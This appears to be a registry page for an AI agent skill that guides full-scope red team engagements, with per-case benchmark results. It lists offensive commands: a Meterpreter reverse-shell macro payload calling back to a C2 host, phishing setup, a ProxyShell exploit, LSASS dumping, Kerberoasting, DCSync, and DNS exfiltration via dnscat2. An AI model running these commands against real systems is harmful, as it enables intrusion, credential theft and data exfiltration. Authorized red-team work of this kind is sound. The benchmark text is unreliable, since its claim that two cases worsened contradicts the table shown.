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Get Started Free →Plan and execute a comprehensive red team engagement covering reconnaissance through post-exploitation using MITRE ATT&CK-aligned TTPs to evaluate an organization's detection and response capabilities.
.claude/skills/conducting-full-scope-red-team-engagement/SKILL.md| Test case | Without → With | Effect | Δ tokens | Δ turns |
|---|---|---|---|---|
| case-09 | ✗→✓ | ▲ Improved | — | — |
| case-18 | ✗→✓ | ▲ Improved | — | — |
| case-12 | ✗→✓ | ▲ Improved | — | — |
| case-16 | ✗→✓ | ▲ Improved | — | — |
| case-13 | ✗→✓ | ▲ Improved | — | — |
A full-scope red team engagement simulates real-world adversary behavior across all phases of the cyber kill chain — from initial reconnaissance through data exfiltration — to evaluate an organization's detection, prevention, and response capabilities. Unlike penetration testing, red team operations prioritize stealth, persistence, and objective-based scenarios that mimic advanced persistent threats (APTs).
Map the engagement to specific MITRE ATT&CK tactics and techniques based on the threat profile:
| Kill Chain Phase | MITRE ATT&CK Tactic | Example Techniques | |---|---|---| | Reconnaissance | TA0043 | T1593 Search Open Websites/Domains, T1589 Gather Victim Identity Info | | Resource Development | TA0042 | T1583.001 Acquire Infrastructure: Domains, T1587.001 Develop Capabilities: Malware | | Initial Access | TA0001 | T1566.001 Spearphishing Attachment, T1078 Valid Accounts | | Execution | TA0002 | T1059.001 PowerShell, T1204.002 User Execution: Malicious File | | Persistence | TA0003 | T1053.005 Scheduled Task, T1547.001 Registry Run Keys | | Privilege Escalation | TA0004 | T1068 Exploitation for Privilege Escalation, T1548.002 UAC Bypass | | Defense Evasion | TA0005 | T1055 Process Injection, T1027 Obfuscated Files | | Credential Access | TA0006 | T1003.001 LSASS Memory, T1558.003 Kerberoasting | | Discovery | TA0007 | T1087 Account Discovery, T1018 Remote System Discovery | | Lateral Movement | TA0008 | T1021.002 SMB/Windows Admin Shares, T1550.002 Pass the Hash | | Collection | TA0009 | T1560 Archive Collected Data, T1213 Data from Information Repositories | | Exfiltration | TA0010 | T1041 Exfiltration Over C2 Channel, T1048 Exfiltration Over Alternative Protocol | | Impact | TA0040 | T1486 Data Encrypted for Impact, T1489 Service Stop |
bash# Passive DNS enumeration amass enum -passive -d target.com -o amass_passive.txt # Certificate transparency log search python3 -c " import requests url = 'https://crt.sh/?q=%.target.com&output=json' r = requests.get(url) for cert in r.json(): print(cert['name_value']) " | sort -u > subdomains.txt # LinkedIn employee enumeration theHarvester -d target.com -b linkedin -l 500 -f harvest_results # Technology fingerprinting whatweb -v target.com --log-json=whatweb.json # Breach data credential search (authorized) h8mail -t target.com -o h8mail_results.csv
Common initial access vectors for red team engagements:
Spearphishing (T1566.001):
bash# Generate payload with macro msfvenom -p windows/x64/meterpreter/reverse_https LHOST=c2.redteam.local LPORT=443 -f vba -o macro.vba # Set up GoPhish campaign # Configure SMTP profile, email template with pretexted lure, and landing page gophish --config config.json
External Service Exploitation (T1190):
bash# Scan for vulnerable services nmap -sV -sC --script vuln -p 80,443,8080,8443 target.com -oA vuln_scan # Exploit known CVE (example: ProxyShell CVE-2021-34473) python3 proxyshell_exploit.py -t mail.target.com -e attacker@target.com
powershell# Situational awareness (T1082, T1016) whoami /all systeminfo ipconfig /all net group "Domain Admins" /domain nltest /dclist:target.com # Credential harvesting from LSASS (T1003.001) # Using Havoc C2 built-in module dotnet inline-execute SafetyKatz.exe sekurlsa::logonpasswords # Kerberoasting (T1558.003) Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt # Lateral movement via WMI (T1047) wmiexec.py domain/user:password@target-dc -c "whoami" # Lateral movement via PsExec (T1021.002) psexec.py domain/admin:password@fileserver.target.com
Define and pursue specific objectives:
bash# DCSync attack (T1003.006) secretsdump.py domain/admin:password@dc01.target.com -just-dc-ntlm # Exfiltration over DNS (T1048.003) dnscat2 --dns "domain=exfil.redteam.com" --secret=s3cr3t
The report should include:
| Metric | Description | |---|---| | Mean Time to Detect (MTTD) | Average time from action to SOC detection | | Mean Time to Respond (MTTR) | Average time from detection to containment | | TTP Coverage | Percentage of executed techniques detected | | Objective Achievement Rate | Percentage of defined objectives completed | | Dwell Time | Total time red team maintained access undetected |
| Case | Status | Duration (ms) | Turns | Tokens | Tool calls | ||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Without | With | Δ | Without | With | Δ | Without | With | Δ | Without | With | Δ | ||
case-19 | pass→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-02 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-08 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-03 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-09 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-18 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-15 | pass→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-17 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-12 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-01 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-22 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-16 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-21 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-07 | pass→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-13 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-04 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-05 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-06 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-10 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-23 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-11 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-14 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-20 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
DecimalAI ran this skill against gemini-3.6-flash twice over the same eval suite — once with the skill loaded and once without — and compared the two runs case by case. 23 cases were attempted. The headline lift of +26 percentage points is the difference between those two pass rates over the 23 comparable cases. 2 cases got worse with the skill loaded, and they are included in that figure.
The per-case answers from this run were removed by the retention sweep, so the case table below shows the verdicts without the text either arm produced. The counts above were recorded at the time and are unaffected. Answers are now kept for 180 days.
Other measured skills in the registry, with their headline benchmark lift.